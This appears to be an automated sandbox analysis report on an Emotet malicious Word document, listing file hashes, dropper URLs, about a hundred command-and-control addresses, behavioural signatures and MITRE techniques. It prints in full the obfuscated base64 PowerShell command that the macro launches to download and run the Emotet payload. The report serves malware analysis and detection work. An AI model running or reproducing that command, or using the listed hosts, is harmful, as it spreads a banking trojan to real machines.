emotet | 4e02784f17b866165db458c9ae3f13edf8dae02967921cfec16074018e8cd2e7

Analysis

max time kernel
142s
max time network
151s
platform
windows10_x64
resource
win10v200722
submitted
23/09/2020, 06:31

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Report Analysis Logs

General

Target
emotet_e2_4e02784f17b866165db458c9ae3f13edf8dae02967921cfec16074018e8cd2e7_2020-09-23__062851533484._doc.doc
Size 170KB
Sample200923-ablgrpy9lx
SHA256 4e02784f17b866165db458c9ae3f13edf8dae02967921cfec16074018e8cd2e7
MD5 ed5aeb5f022648867981a5335defa023
SHA1 6516a578ce0d2232fa3e704c3c107ffdc9de8ea3
SHA512 78ba88ffeff3b5bd4341d7599e3ac0f74f8156d884f1709c74325f379e1bb87ae723ff63efc097d5df1b67a33c58e12421ba7528666853b190a69408ec841b10
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://ckinterbiz.com/backup/waI0rNy/
exe.dropper
http://creationskateboards.com/shred/xnYp2/
exe.dropper
http://bnmintl.com/cgi-bin/hQuB2/
exe.dropper
http://buildingrobots.net/cgi-bin/LKgv/
exe.dropper
http://booksearch.com/index_files/U/
exe.dropper
http://davehale.ca/cgi-bin/v4kax/
exe.dropper
https://www.equiposjj.com/cgi-bin/h0MId/

Extracted

Family

emotet

67.10.155.92:80
38.111.46.46:8080
134.209.36.254:8080
162.241.242.173:8080
2.84.135.163:80
94.1.108.190:443
140.186.212.146:80
95.179.229.244:8080
200.114.213.233:8080
113.61.66.94:80
190.240.194.77:443
61.19.246.238:443
110.5.16.198:80
83.169.36.251:8080
37.187.72.193:8080
176.111.60.55:8080
85.105.205.77:8080
168.235.67.138:7080
200.123.150.89:443
87.106.139.101:8080
74.120.55.163:80
124.41.215.226:80
219.74.18.66:443
24.43.99.75:80
62.30.7.67:443
71.72.196.159:80
156.155.166.221:80
181.169.34.190:80
62.75.141.82:80
110.145.77.103:80
139.99.158.11:443
87.106.136.232:8080
169.239.182.217:8080
157.245.99.39:8080
121.124.124.40:7080
220.245.198.194:80
187.161.206.24:80
1.221.254.82:80
94.23.237.171:443
123.176.25.234:80
5.196.74.210:8080
104.236.246.93:8080
139.59.60.244:8080
104.131.44.150:8080
66.65.136.14:80
91.211.88.52:7080
24.179.13.119:80
213.196.135.145:80
79.98.24.39:8080
93.147.212.206:80
195.251.213.56:80
94.200.114.161:80
137.119.36.33:80
82.80.155.43:80
74.134.41.124:80
5.39.91.110:7080
89.216.122.92:80
139.162.108.71:8080
78.187.156.31:80
97.82.79.83:80
68.188.112.97:80
121.7.127.163:80
74.208.45.104:8080
61.92.17.12:80
203.153.216.189:7080
174.102.48.180:443
96.249.236.156:443
24.137.76.62:80
104.32.141.43:80
103.86.49.11:8080
109.74.5.95:8080
153.137.36.142:80
37.139.21.175:8080
50.91.114.38:80
24.43.32.186:80
216.139.123.119:80
75.139.38.211:80
78.24.219.147:8080
85.152.162.105:80
219.75.128.166:80
174.45.13.118:80
194.187.133.160:443
74.219.172.26:80
185.94.252.104:443
104.251.33.179:80
42.200.107.142:80
120.150.60.189:80
137.59.187.107:8080
195.7.12.8:80
79.137.83.50:443
50.35.17.13:80
139.130.242.43:80
46.105.131.79:8080
84.39.182.7:80
95.213.236.64:8080
172.91.208.86:80
47.144.21.12:443
107.5.122.110:80
209.141.54.221:8080
104.131.11.150:443
201.173.217.124:443
188.219.31.12:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2852	3980	POWeRsHeLL.exe	72

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2248-15-0x00000000005A0000-0x00000000005B2000-memory.dmp	emotet
behavioral2/memory/2248-15-0x00000000005A0000-0x00000000005B2000-memory.dmp	emotet
behavioral2/memory/2248-16-0x00000000005D0000-0x00000000005E0000-memory.dmp	emotet
behavioral2/memory/2248-16-0x00000000005D0000-0x00000000005E0000-memory.dmp	emotet
behavioral2/memory/712-19-0x0000000000580000-0x0000000000592000-memory.dmp	emotet
behavioral2/memory/712-19-0x0000000000580000-0x0000000000592000-memory.dmp	emotet
behavioral2/memory/712-20-0x00000000005A0000-0x00000000005B0000-memory.dmp	emotet
behavioral2/memory/712-20-0x00000000005A0000-0x00000000005B0000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
26	2852	POWeRsHeLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2248	Aip4cb7p.exe
712	WMASF.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\ErrorDetails\WMASF.exe	Aip4cb7p.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
500	WINWORD.EXE
500	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2852	POWeRsHeLL.exe
2852	POWeRsHeLL.exe
2852	POWeRsHeLL.exe
712	WMASF.exe
712	WMASF.exe
712	WMASF.exe
712	WMASF.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2852	POWeRsHeLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
500	WINWORD.EXE
500	WINWORD.EXE
500	WINWORD.EXE
500	WINWORD.EXE
500	WINWORD.EXE
500	WINWORD.EXE
500	WINWORD.EXE
500	WINWORD.EXE
500	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2852 wrote to memory of 2248	2852	POWeRsHeLL.exe	79
PID 2852 wrote to memory of 2248	2852	POWeRsHeLL.exe	79
PID 2852 wrote to memory of 2248	2852	POWeRsHeLL.exe	79
PID 2248 wrote to memory of 712	2248	Aip4cb7p.exe	81
PID 2248 wrote to memory of 712	2248	Aip4cb7p.exe	81
PID 2248 wrote to memory of 712	2248	Aip4cb7p.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_4e02784f17b866165db458c9ae3f13edf8dae02967921cfec16074018e8cd2e7_2020-09-23__062851533484._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:500

C:\Windows\System32\WindowsPowerShell\v1.0\POWeRsHeLL.exe
POWeRsHeLL -ENCOD JABPAHEAaQBkADEAbgB1AD0AKAAoACcAQQA3AHgAJwArACcAdAAnACkAKwAoACcAYgBpACcAKwAnAG0AJwApACkAOwAmACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAGkAdABlAG0AJwApACAAJABlAG4AVgA6AFUAcwBFAHIAUAByAG8ARgBJAGwAZQBcAHoAdwBMADYATQBVAEkAXABvAFYAQwBkAEIAeABzAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQByAEUAYwBUAE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYABDAGAAVQByAGkAYABUAFkAcAByAE8AVABvAEMATwBsACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAyACcAKwAnACwAJwApACsAJwAgACcAKwAnAHQAbAAnACsAJwBzACcAKwAnADEAJwArACgAJwAxACwAIAB0ACcAKwAnAGwAcwAnACkAKQA7ACQASQAwADAAMgAwADUAbAAgAD0AIAAoACgAJwBBAGkAJwArACcAcAA0ACcAKQArACgAJwBjAGIAJwArACcANwBwACcAKQApADsAJABUADAANQBqAHYAawB6AD0AKAAnAEsAJwArACgAJwBnAHQAdgAnACsAJwBoAGcAJwApACsAJwB4ACcAKQA7ACQAWgB5ADQAcwBvAGwAeQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnADQAMwBMACcAKwAnAFoAdwBsACcAKQArACcANgBtACcAKwAoACcAdQBpADQAMwAnACsAJwBMACcAKwAnAE8AJwArACcAdgBjAGQAYgB4AHMAJwArACcANAAzACcAKQArACcATAAnACkALgAiAHIAZQBgAHAAbABgAEEAYwBlACIAKAAoAFsAYwBIAEEAcgBdADUAMgArAFsAYwBIAEEAcgBdADUAMQArAFsAYwBIAEEAcgBdADcANgApACwAJwBcACcAKQApACsAJABJADAAMAAyADAANQBsACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABFADUAcQA5AHoAXwBsAD0AKAAnAE4AJwArACgAJwBjACcAKwAnADUAaAAnACkAKwAoACcAMQAnACsAJwByAHQAJwApACkAOwAkAFgAcgB4AGgAMwB0ADcAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AJwArACcAYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4AZQBUAC4AVwBFAGIAQwBsAEkAZQBOAHQAOwAkAEwAegBoADkAcwBhAF8APQAoACcAaAB0ACcAKwAoACcAdABwACcAKwAnADoAJwApACsAJwAvAC8AJwArACcAYwAnACsAKAAnAGsAaQAnACsAJwBuACcAKwAnAHQAZQByAGIAaQB6ACcAKQArACcALgBjACcAKwAoACcAbwAnACsAJwBtAC8AJwApACsAJwBiACcAKwAoACcAYQBjAGsAdQBwACcAKwAnAC8AJwArACcAdwAnACkAKwAnAGEASQAnACsAJwAwACcAKwAoACcAcgAnACsAJwBOAHkALwAnACkAKwAoACcAKgBoACcAKwAnAHQAJwApACsAJwB0AHAAJwArACgAJwA6AC8ALwBjAHIAZQAnACsAJwBhAHQAJwApACsAJwBpACcAKwAoACcAbwBuACcAKwAnAHMAJwApACsAKAAnAGsAYQAnACsAJwB0AGUAYgAnACkAKwAoACcAbwAnACsAJwBhAHIAZAAnACkAKwAnAHMAJwArACcALgBjACcAKwAoACcAbwBtACcAKwAnAC8AcwAnACkAKwAnAGgAJwArACcAcgAnACsAKAAnAGUAZAAvACcAKwAnAHgAbgBZACcAKQArACcAcAAnACsAKAAnADIALwAnACsAJwAqACcAKQArACgAJwBoACcAKwAnAHQAdAAnACkAKwAnAHAAJwArACcAOgAvACcAKwAnAC8AYgAnACsAJwBuACcAKwAoACcAbQBpACcAKwAnAG4AJwApACsAKAAnAHQAbAAuAGMAJwArACcAbwAnACkAKwAnAG0ALwAnACsAKAAnAGMAZwAnACsAJwBpAC0AYgAnACkAKwAoACcAaQBuAC8AaAAnACsAJwBRACcAKQArACgAJwB1AEIAJwArACcAMgAvACcAKQArACcAKgAnACsAKAAnAGgAJwArACcAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAnACkAKwAoACcALwBiAHUAaQAnACsAJwBsAGQAaQAnACsAJwBuACcAKQArACgAJwBnACcAKwAnAHIAbwBiAG8AdAAnACsAJwBzAC4AbgAnACkAKwAoACcAZQAnACsAJwB0AC8AYwBnACcAKQArACgAJwBpACcAKwAnAC0AYgAnACkAKwAnAGkAJwArACgAJwBuAC8AJwArACcATABLACcAKQArACgAJwBnACcAKwAnAHYALwAqACcAKQArACgAJwBoAHQAJwArACcAdABwADoAJwApACsAJwAvAC8AJwArACgAJwBiAG8AbwAnACsAJwBrACcAKQArACgAJwBzAGUAJwArACcAYQAnACkAKwAoACcAcgBjACcAKwAnAGgALgBjACcAKwAnAG8AbQAnACsAJwAvAGkAbgBkAGUAJwArACcAeABfAGYAJwApACsAKAAnAGkAJwArACcAbABlAHMALwAnACkAKwAnAFUAJwArACgAJwAvACoAJwArACcAaAB0AHQAcAA6AC8ALwAnACsAJwBkACcAKQArACgAJwBhAHYAZQAnACsAJwBoACcAKQArACcAYQBsACcAKwAoACcAZQAuACcAKwAnAGMAJwApACsAKAAnAGEALwBjAGcAaQAtACcAKwAnAGIAaQBuAC8AdgAnACsAJwA0ACcAKwAnAGsAYQB4AC8AJwArACcAKgAnACsAJwBoAHQAdAAnACkAKwAoACcAcABzADoALwAvACcAKwAnAHcAdwB3ACcAKwAnAC4AJwArACcAZQAnACkAKwAoACcAcQB1AGkAJwArACcAcABvAHMAJwArACcAagBqAC4AYwBvAG0AJwApACsAJwAvAGMAJwArACgAJwBnACcAKwAnAGkALQBiAGkAbgAvAGgAJwArACcAMABNACcAKQArACgAJwBJAGQAJwArACcALwAnACkAKQAuACIAcwBQAGwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABWAHoAMABvADIANwBwAD0AKAAnAFkAYwAnACsAKAAnAHgAYgA1ACcAKwAnADAANQAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEoAbABlAHAAcABvADcAIABpAG4AIAAkAEwAegBoADkAcwBhAF8AKQB7AHQAcgB5AHsAJABYAHIAeABoADMAdAA3AC4AIgBEAG8AYABXAG4AbABPAEEARABgAEYASQBgAGwARQAiACgAJABKAGwAZQBwAHAAbwA3ACwAIAAkAFoAeQA0AHMAbwBsAHkAKQA7ACQAVQAzADcAaABwAHIAMQA9ACgAJwBRACcAKwAnAHUAJwArACgAJwAyAHMAJwArACcAcQByADIAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQAWgB5ADQAcwBvAGwAeQApAC4AIgBMAEUAbgBgAEcAVABIACIAIAAtAGcAZQAgADMAOQAwADgAOQApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABaAHkANABzAG8AbAB5ACkAOwAkAFoAMwB0AGkAaQBrAGwAPQAoACcAVwAnACsAKAAnAF8AeAAnACsAJwBtAGsAcQB1ACcAKQApADsAYgByAGUAYQBrADsAJABVAHAAMAB2AGwAZgBtAD0AKAAoACcARQAnACsAJwAyAGgAZgA5ACcAKQArACcAZgByACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBvADYAZwBsADQAdQA9ACgAJwBPACcAKwAoACcANQAnACsAJwB2AHMAJwApACsAKAAnAGQAJwArACcAcABuACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2852
- C:\Users\Admin\Zwl6mui\Ovcdbxs\Aip4cb7p.exe
  "C:\Users\Admin\Zwl6mui\Ovcdbxs\Aip4cb7p.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:2248
- - C:\Windows\SysWOW64\ErrorDetails\WMASF.exe
    "C:\Windows\SysWOW64\ErrorDetails\WMASF.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:712

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/500-0-0x00007FFF56F00000-0x00007FFF575C6000-memory.dmp

Download

memory/500-5-0x0000023E22957000-0x0000023E2295A000-memory.dmp

Download

memory/712-20-0x00000000005A0000-0x00000000005B0000-memory.dmp

Download

memory/712-19-0x0000000000580000-0x0000000000592000-memory.dmp

Download

memory/2248-16-0x00000000005D0000-0x00000000005E0000-memory.dmp

Download

memory/2248-15-0x00000000005A0000-0x00000000005B2000-memory.dmp

Download

memory/2852-11-0x000001CDA5EA0000-0x000001CDA5EA1000-memory.dmp

Download

memory/2852-10-0x000001CDA5CF0000-0x000001CDA5CF1000-memory.dmp

Download

memory/2852-9-0x00007FFF4B790000-0x00007FFF4C17C000-memory.dmp

Download